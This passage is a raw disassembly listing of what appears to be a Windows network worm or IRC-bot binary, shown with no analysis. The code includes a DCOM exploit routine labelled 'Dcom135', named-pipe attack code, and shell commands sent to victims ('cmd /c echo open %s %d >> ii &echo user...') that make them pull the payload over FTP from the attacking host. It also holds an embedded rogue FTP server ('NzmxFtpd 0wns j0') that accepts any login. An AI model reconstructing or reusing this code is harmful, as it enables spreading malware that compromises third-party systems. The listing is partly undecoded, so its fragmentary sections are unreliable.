; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; db 0FFh db 0FFh db 68h ; h db 28h ; ( db 86h ; db 42h ; B db 0 db 56h ; V db 50h ; P db 0E8h ; db 9Ch ; db 2Eh ; . db 1 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; db 93h ; db 29h ; ) db 1 db 0 db 8Dh ; db 85h ; db 24h ; $ db 0DFh ; db 0FFh db 0FFh db 83h ; db 0C4h ; db 1Ch db 89h ; db 85h ; db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; db 0Ch db 0C8h ; db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; db 80h ; db 0E0h ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_4049C7 ; --------------------------------------------------------------------------- db 0BEh ; db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_4049C7: ; CODE XREF: ___:004049C0j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 2640000h nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_404A0B loc_404A04: ; CODE XREF: ___:00404AE3j ; ___:00404CB9j ... xor al, al jmp loc_404E4F ; --------------------------------------------------------------------------- loc_404A0B: ; CODE XREF: ___:00404A02j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_417330 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_428C34 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_417390 push 10h lea eax, [ebp-84h] push offset dword_428C20 push eax mov dword ptr [ebp-88h], 3 call sub_417390 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2630000h test eax, eax jnz short loc_404AE8 loc_404ADA: ; CODE XREF: ___:00404BB4j push dword ptr [ebp-4] nop call near ptr 2621906h jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404AE8: ; CODE XREF: ___:00404AD8j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2621026h push ebx call sub_4186B1 push eax call sub_417300 push 14h lea eax, [ebp-70h] push 41h push eax call sub_417330 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_417330 add esp, 20h call sub_41730A mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_428BC8[esi], bl jz short loc_404B5F push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_43C830 jmp short loc_404B72 ; --------------------------------------------------------------------------- loc_404B5F: ; CODE XREF: ___:00404B4Bj push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_428C17+1) loc_404B72: ; CODE XREF: ___:00404B5Dj lea eax, [ebp-20h] push eax call sub_417390 add esp, 0Ch call sub_41730A mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41730A cdq idiv edi mov eax, dword_428BBC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_417B89 mov edi, eax pop ecx cmp edi, ebx jz loc_404ADA mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417330 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417330 mov eax, dword_428BC4[esi] push 7 add eax, edi push offset dword_428BB0 push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_428A50 push eax call sub_417390 mov eax, dword_428BC0[esi] add esp, 30h cmp byte_428BC8[esi], bl mov [ebp+0Ch], eax jz short loc_404C6B push 4 add eax, edi push offset dword_43C828 push eax call sub_417390 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_428BE0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_417390 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_417390 add esp, 30h jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C6B: ; CODE XREF: ___:00404C1Cj add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_428BE0 loc_404C7C: ; CODE XREF: ___:00404C91j push 4 push esi push dword ptr [ebp+0Ch] call sub_417390 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_404C7C loc_404C93: ; CODE XREF: ___:00404C69j mov eax, [ebp+8] add eax, 42h push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_404CBE push dword ptr [ebp-4] nop call near ptr 2621906h push edi call sub_417C3B pop ecx jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404CBE: ; CODE XREF: ___:00404CA7j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_417330 lea eax, [ebp-70h] push 14h push eax push esi call sub_417390 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_424294 fstp qword ptr [esp] call sub_417DEB call sub_417DC4 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_417390 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_404D2B loc_404D23: ; CODE XREF: ___:00404D26j inc eax test al, 3 jnz short loc_404D23 mov [ebp+0Ch], eax loc_404D2B: ; CODE XREF: ___:00404D21j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_417390 add dword ptr [ebp+0Ch], 1Ch push edi call sub_417C3B push 18h lea eax, [ebp-48h] push ebx push eax call sub_417330 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_417330 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 264035Dh nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_404D98: ; CODE XREF: ___:00404E22j cmp dword ptr [ebp-0Ch], 2 jge loc_404E2D push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_404861 add esp, 2Ch test al, al jz short loc_404E2A cmp [ebp-4Ch], ebx jz short loc_404E1C lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 2621026h test eax, eax jnz short loc_404E03 nop call near ptr 264030Ch cmp eax, 3E5h jnz loc_404A04 loc_404E03: ; CODE XREF: ___:00404DF0j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2640273h cmp eax, 102h jnz short loc_404E1C mov byte ptr [ebp+0Bh], 1 loc_404E1C: ; CODE XREF: ___:00404DCFj ; ___:00404E16j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_404D98 jmp short loc_404E2D ; --------------------------------------------------------------------------- loc_404E2A: ; CODE XREF: ___:00404DCAj mov esi, [ebp-8] loc_404E2D: ; CODE XREF: ___:00404D9Cj ; ___:00404E28j push dword ptr [ebp-4] mov edi, dword_424078 call edi push esi call sub_417C3B cmp [ebp-4Ch], ebx pop ecx jz short loc_404E49 push dword ptr [ebp-4Ch] call edi loc_404E49: ; CODE XREF: ___:00404E42j cmp [ebp+0Bh], bl setnz al loc_404E4F: ; CODE XREF: ___:00404A06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 81h ; db 0ECh ; db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; db 56h ; V db 50h ; P db 0E8h ; db 0C2h ; db 24h ; $ db 1 db 0 db 83h ; db 0C4h ; db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; db 45h ; E db 0F0h ; db 2 db 0 db 50h ; P db 0E8h ; db 78h ; x db 0C4h ; db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; db 0C4h ; db 0 db 0 db 0 db 89h ; db 45h ; E db 0F4h ; db 90h ; db 0E8h ; db 0B6h ; db 0C8h ; db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; db 45h ; E db 0F2h ; db 90h ; db 0E8h ; db 83h ; db 0EDh ; db 6Ah ; j db 71h ; q db 8Bh ; db 0D8h ; db 83h ; db 0FBh ; db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; db 6Ah ; j db 10h db 50h ; P db 53h ; S db 0E8h ; db 0ABh ; db 0EFh ; db 6Ah ; j db 71h ; q db 90h ; db 83h ; db 0F8h ; db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; db 35h ; 5 db 4 db 42h ; B db 42h ; B db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; db 0B8h ; db 78h ; x db 0F6h ; db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 3Ch ; < db 0C8h ; db 43h ; C db 0 db 0FFh db 75h ; u db 8 db 0E8h ; db 0FCh ; db 5Fh ; _ db 0 db 0 db 59h ; Y db 50h ; P db 68h ; h db 0DCh ; db 89h ; db 42h ; B db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; db 2Eh ; . db 29h ; ) db 1 db 0 db 83h ; db 0C4h ; db 1Ch db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; db 0A3h ; db 2Bh ; + db 1 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; db 60h ; ` db 0FEh ; db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; db 0D7h ; db 0CBh ; db 6Ah ; j db 71h ; q db 83h ; db 0F8h ; db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; db 0EBh ; db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; db 60h ; ` db 0FAh ; db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; db 53h ; S db 90h ; db 0E8h ; db 33h ; 3 db 0CBh ; db 6Ah ; j db 71h ; q db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; db 0C3h ; dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h dd 0E8000007h, 21FB565h, 0FB834390h, 33B87202h, 5B5E5FC0h dd 58016AC3h db 0EBh, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9A proc near ; CODE XREF: ___:00405119p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call near ptr 71AB12F8h nop push [ebp+arg_BC] mov [ebp+var_C], eax call near ptr 71AB1746h nop push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405068 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_405068 mov edi, 400h push esi mov esi, dword_424204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42F678 push eax push eax push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40506C loc_405068: ; CODE XREF: sub_404F9A+50j ; sub_404F9A+62j xor eax, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_40506C: ; CODE XREF: sub_404F9A+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_405083: ; CODE XREF: sub_404F9A+D0j pop edi pop esi pop ebx leave retn sub_404F9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43F6A8 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43F668 push 6 push 1 push 2 mov [ebp-0Eh], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FA lea eax, [ebp-10h] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_4050DB push esi jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: ___:004050D6j push 0 push 1213h push offset dword_428C60 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FE loc_4050F4: ; CODE XREF: ___:004050D9j nop call near ptr 71AB1A6Dh loc_4050FA: ; CODE XREF: ___:004050C4j xor eax, eax jmp short loc_405140 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: ___:004050F2j nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9A add esp, 0C0h test eax, eax jz short loc_40513D mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_40513D: ; CODE XREF: ___:00405126j push 1 pop eax loc_405140: ; CODE XREF: ___:004050FCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405144 proc near ; CODE XREF: ___:00405340p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43F6A8 mov [ebp+var_C], eax mov ax, word_42A040 push eax call dword_43F668 push edi push 1 push 2 mov [ebp+var_E], ax call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525B lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_40525B mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43F680 push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_40525B push 1F4h call near ptr 26004EDh nop push offset byte_42F678 push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_40525F loc_40525B: ; CODE XREF: sub_405144+51j ; sub_405144+67j ... xor al, al jmp short loc_405279 ; --------------------------------------------------------------------------- loc_40525F: ; CODE XREF: sub_405144+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43F680 push esi call dword_43F700 mov al, 1 loc_405279: ; CODE XREF: sub_405144+119j pop edi pop esi pop ebx leave retn sub_405144 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax call near ptr 71AB2BBFh nop mov esi, eax test esi, esi jnz short loc_4052A8 lea eax, [ebp+0Ch] push eax nop call near ptr 71AB12F8h mov ebx, eax jmp short loc_4052AE ; --------------------------------------------------------------------------- loc_4052A8: ; CODE XREF: ___:00405298j mov ebx, [ebp+0C0h] loc_4052AE: ; CODE XREF: ___:004052A6j push 11h push 2 push 2 nop call near ptr 71AB3C22h test esi, esi mov edi, eax jz short loc_4052D8 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417390 add esp, 0Ch jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052D8: ; CODE XREF: ___:004052BEj mov [ebp-0Ch], ebx loc_4052DB: ; CODE XREF: ___:004052D6j test esi, esi jz short loc_4052E9 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052EF ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: ___:004052DDj mov word ptr [ebp-10h], 2 loc_4052EF: ; CODE XREF: ___:004052E7j push 599h nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi call near ptr 71AB3E5Dh nop test eax, eax jnz loc_4053BE push eax push 1C9h push offset loc_429E74 push edi nop call near ptr 71AB1AF4h push 3E8h call near ptr 26004EDh nop sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405144 add esp, 0BCh test al, al jz short loc_405354 push 1 pop eax jmp short loc_4053D0 ; --------------------------------------------------------------------------- loc_405354: ; CODE XREF: ___:0040534Dj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_42A0B0 lea eax, [ebp-210h] push 200h push eax call sub_41782A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D679 lea eax, [ebp-210h] push eax call sub_40BF6D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] jmp short loc_4053CE ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: ___:0040530Dj push 1 push edi nop call near ptr 71AB8629h push edi nop call near ptr 71AB1A6Dh loc_4053CE: ; CODE XREF: ___:004053BCj xor eax, eax loc_4053D0: ; CODE XREF: ___:00405352j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D5 proc near ; DATA XREF: sub_407252+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi nop call near ptr 71AB41DAh push edi call sub_4186B1 push eax call sub_417300 push 0FEB0h push 406h call sub_41544E add esp, 10h mov dword_43C83C, eax push edi push ebx push 2 nop call near ptr 71AB3C22h mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi nop call near ptr 71AB3F8Dh lea eax, [ebp+var_18] push eax push 8004667Eh push esi nop call near ptr 71AB155Ah mov ax, word ptr dword_43C83C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call near ptr 71AB1746h nop mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi nop call near ptr 71AB3ECEh test eax, eax jge short loc_4054AA mov eax, ebx jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4054AA: ; CODE XREF: sub_4053D5+CCj push 0Ah push esi call near ptr 71AB5DE2h nop mov [ebp+var_228], ebx mov ebx, dword_424208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C8: ; CODE XREF: sub_4053D5+12Cj ; sub_4053D5+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax nop call near ptr 71AB1890h cmp eax, 0FFFFFFFFh jz loc_4059D1 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C8 loc_405503: ; CODE XREF: sub_4053D5+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417330 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422A46 ; --------------------------------------------------------------------------- db 85h dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h, 83716B31h dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h dd 0FFFFFDDCh ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_4053D5+1ADj cmp [edx], eax jz short loc_405584 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405574 loc_405584: ; CODE XREF: sub_4053D5+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A2 cmp [ebp+var_228], 40h jnb short loc_4055A2 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A2: ; CODE XREF: sub_4053D5+1B5j ; sub_4053D5+1BEj cmp eax, [ebp+var_4] jle short loc_4055AA mov [ebp+var_4], eax loc_4055AA: ; CODE XREF: sub_4053D5+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BF ; --------------------------------------------------------------------------- dw 8D56h ; --------------------------------------------------------------------------- test [ebp+edi*8+var_4+3], esp jmp fword ptr [edx+64h] ; --------------------------------------------------------------------------- db 50h dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh dd 8D3A76D6h, 0FFFDDC85h db 0FFh ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_4053D5+216j cmp [eax], edi jz short loc_4055EF inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E1 jmp short loc_405615 ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_4053D5+20Ej dec edx cmp ecx, edx jnb short loc_40560F lea eax, [ebp+ecx*4+var_224] loc_4055FB: ; CODE XREF: sub_4053D5+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FB loc_40560F: ; CODE XREF: sub_4053D5+21Dj dec [ebp+var_228] loc_405615: ; CODE XREF: sub_4053D5+218j push edi nop call near ptr 71AB1A6Dh jmp loc_4059BF ; --------------------------------------------------------------------------- lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_418A52 lea eax, [ebp+var_AC] push offset aUser_1 ; "USER" push eax call sub_4176D0 add esp, 18h test eax, eax jnz short loc_405665 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4053D5+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405689 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405689: ; CODE XREF: sub_4053D5+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056AD push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_4053D5+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056D1 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056D1: ; CODE XREF: sub_4053D5+2EDj lea eax, [ebp+var_AC] push offset off_42A2D0 push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056F5 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4053D5+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_4053D5+335j ; sub_4053D5+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_40576B: ; CODE XREF: sub_4053D5+370j ; sub_4053D5+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057B9 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_417AB0 pop ecx push eax lea eax, [ebp+var_124] loc_4057A9: ; CODE XREF: sub_4053D5+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057B1: ; CODE XREF: sub_4053D5+4F6j mov edi, [ebp+arg_0] jmp loc_4059AD ; --------------------------------------------------------------------------- loc_4057B9: ; CODE XREF: sub_4053D5+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057FA push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea 